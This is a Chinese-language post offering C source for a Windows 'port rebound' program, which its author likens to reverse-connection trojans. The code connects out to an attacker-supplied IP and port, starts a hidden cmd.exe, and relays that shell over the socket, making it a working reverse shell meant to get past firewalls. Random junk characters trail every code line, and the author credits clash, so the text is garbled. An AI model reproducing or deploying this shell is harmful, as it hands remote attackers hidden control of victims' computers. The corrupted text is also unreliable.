Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 eG!ma`v  
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/* ============================== sV,Yz3E<u$  
Rebound port in Windows NT aYT!xdCI  
By wind,2006/7 /X.zt `  
===============================*/ d=qVIpZ  
#include G&^8)S@1  
#include U@y)x+:  
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#pragma comment(lib,"wsock32.lib") /\-}-"dm  
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void OutputShell(); 
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SOCKET sClient; >9A18xC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c.Sd~k:3  
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void main(int argc,char **argv) InbB2l4G  
{ GJcxqgk$  
WSADATA stWsaData; =bC'>qw}  
int nRet; VqW5VLa  
SOCKADDR_IN stSaiClient,stSaiServer; j [lS.Lb  
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if(argc != 3) 3pvqF,"~D  
{ jOzXy
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printf("Useage:\n\rRebound DestIP DestPort\n"); 8bdO-LJ9  
return; 02t({>`  
} iKrk?B<  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -fFtHw:kHh  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KLW5Ad:/rI  
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stSaiClient.sin_family = AF_INET; AH&RabH2  
stSaiClient.sin_port = htons(0); r+C4<-dT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _LwF:19Il  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 46D`h!7L  
{ ,M{G X  
printf("Bind Socket Failed!\n"); v; i4ZSV^A  
return; ;&6 {c  
} l%_K
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stSaiServer.sin_family = AF_INET; |D-[M_T5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); */IiL%g4u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b_nE4>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N gF7$@S  
{ 2
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printf("Connect Error!"); ?}8r h%  
return; *`"+J_   
} o 7kg.w|  
OutputShell(); rc[~S  
} I9G^T' W  
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void OutputShell() IXtG 36O  
{ xSD*e 0  
char szBuff[1024]; <9X@\uvU.<  
SECURITY_ATTRIBUTES stSecurityAttributes; K0( S%v|,}  
OSVERSIONINFO stOsversionInfo; e%)iDt\j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }ZVond$y4  
STARTUPINFO stStartupInfo; bC
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char *szShell; [pTdeg;QE  
PROCESS_INFORMATION stProcessInformation; $]_SPu  
unsigned long lBytesRead; d*{Cv2A.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JS ^Cc
  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?SgFD4<~P  
stSecurityAttributes.lpSecurityDescriptor = 0; fB9,# F  
stSecurityAttributes.bInheritHandle = TRUE; gNP1UH4m  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'qT;Eht5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _f@,)n
  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =5Db^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G3TS?u8Q  
stStartupInfo.wShowWindow = SW_HIDE; ^AU-hVj  
stStartupInfo.hStdInput = hReadPipe; K_L7a>Fr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; neM)(` gp  
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GetVersionEx(&stOsversionInfo); *Lrrl  
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switch(stOsversionInfo.dwPlatformId) 3v_j*wy  
{ z8a{M$-Q
 
case 1: m]U  
szShell = "command.com"; +3.9)w  
break; ,H6P%  
default: V.`hk^V,  
szShell = "cmd.exe"; (v?@evQ  
break; aB~k8]q.  
} bgE]Wk0  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #\X)|p2  
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send(sClient,szMsg,77,0); mr}o0@5av  
while(1) WDxcV%  
{ %_:L_VD@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :|5 m"X\  
if(lBytesRead) ^jL)<y4`  
{ 2&S^\kf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {91Y;p C  
send(sClient,szBuff,lBytesRead,0); I\1E=6"  
} BDfMFH[1  
else +arh/pd_I  
{ Hz,Gn9:p  
lBytesRead=recv(sClient,szBuff,1024,0); *sp")h#Z  
if(lBytesRead<=0) break; QyTNV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aO1.9!<v  
} 5u9lKno  
} Z*3RI5)dx  
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return; X n0HJ^
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}